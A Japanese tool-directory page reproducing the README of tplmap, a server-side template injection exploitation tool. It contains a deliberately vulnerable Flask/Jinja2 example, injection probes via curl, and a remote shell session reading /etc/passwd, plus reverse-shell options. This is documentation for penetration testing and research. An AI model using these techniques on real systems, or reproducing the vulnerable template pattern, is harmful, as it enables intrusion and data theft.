Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tplmap — サーバーサイドテンプレートインジェクションおよびコードインジェクションの検出と悪用ツール | Kitploit
ツール/GitHubGitHub/epinna/tplmap
脆弱性スキャナーコード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubepinna/tplmap

tplmap

サーバーサイドテンプレートインジェクションおよびコードインジェクションの検出と悪用ツール

リポジトリを見る
4.2k68464年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Tplmap

このプロジェクトはメンテナンスされていません。ただし、テストスイートを壊さない限り、新しいPRをマージする用意があります。

Tplmapは、コードインジェクションやサーバーサイドテンプレートインジェクションの脆弱性の悪用を支援し、多数のサンドボックス脱出テクニックを用いて、基盤となるオペレーティングシステムへのアクセスを実現します。

このツールとそのテストスイートは、SSTI脆弱性クラスを研究し、Webアプリケーションペネトレーションテストの際に攻撃的セキュリティツールとして使用するために開発されました。

サンドボックス突破テクニックは、James Kett氏のServer-Side Template Injection: RCE For The Modern Web App、その他の公開研究[1] [2]、そして本ツールへの独自の貢献[3] [4]に基づいています。

複数のコードコンテキストやブラインドインジェクションシナリオを悪用できます。また、Python、Ruby、PHP、Javaの_eval()_のようなコードインジェクションや、一般的なサンドボックスなしのテンプレートエンジンもサポートしています。

Server-Side Template Injection

あなたが、ユーザー提供の値を使ってテンプレートを構成し動的なページを生成するWebサイト(例:PythonとFlaskで書かれ、Jinja2テンプレートエンジンを安全でない方法で使用するWebアプリケーション)を監査しているとします。

root@kitploit:~
from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

ブラックボックステストの観点では、ページはXSS脆弱性と同様に値を反映しますが、ランタイムに基本演算を実行することでSSTIの性質が明らかになります。

root@kitploit:~
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!

Exploitation

Tplmapは、さまざまなテンプレートエンジンでSSTIを検出・悪用し、基盤となるファイルシステムやオペレーティングシステムにアクセスできます。URLに対して実行し、パラメータが脆弱かどうかをテストします。

root@kitploit:~
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                Run shell on the target
    --os-cmd                  Execute shell commands
    --bind-shell PORT         Connect to a shell bind to a target port
    --reverse-shell HOST PORT Send a shell back to the attacker's port
    --upload LOCAL REMOTE     Upload files to the server
    --download REMOTE LOCAL   Download remote files

--os-shellオプションを使用して、ターゲット上で擬似ターミナルを起動します。

root@kitploit:~
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Run commands on the operating system.

linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Supported template engines

Tplmapは、15以上のテンプレートエンジン、サンドボックスなしのテンプレートエンジン、および一般的な_eval()_のようなインジェクションをサポートしています。

Engineリモートコマンド実行ブラインドコード評価ファイル読み取りファイル書き込み
Mako✓✓Python✓✓
Jinja2✓✓Python✓✓
Python (code eval)✓✓Python✓✓
Tornado✓✓Python✓✓
Nunjucks✓✓JavaScript✓✓
Pug✓✓JavaScript✓✓
doT✓✓JavaScript✓✓
Marko✓✓JavaScript✓✓
JavaScript (code eval)✓✓JavaScript✓✓
Dust (<= [email protected])✓✓JavaScript✓✓
EJS✓✓JavaScript✓✓
Ruby (code eval)✓✓Ruby✓✓
Slim✓✓Ruby✓✓
ERB✓✓Ruby✓✓
Smarty (unsecured)✓✓PHP✓✓
PHP (code eval)✓✓PHP✓✓
Twig (<=1.19)✓✓PHP✓✓
Freemarker✓✓Java✓✓
Velocity✓✓Java✓✓
Twig (>1.19)×××××
Smarty (secured)××

Burp Suite Plugin

burp_extension/README.mdを参照してください。

ツールをダウンロード
×
×
×
Dust (> [email protected])×××××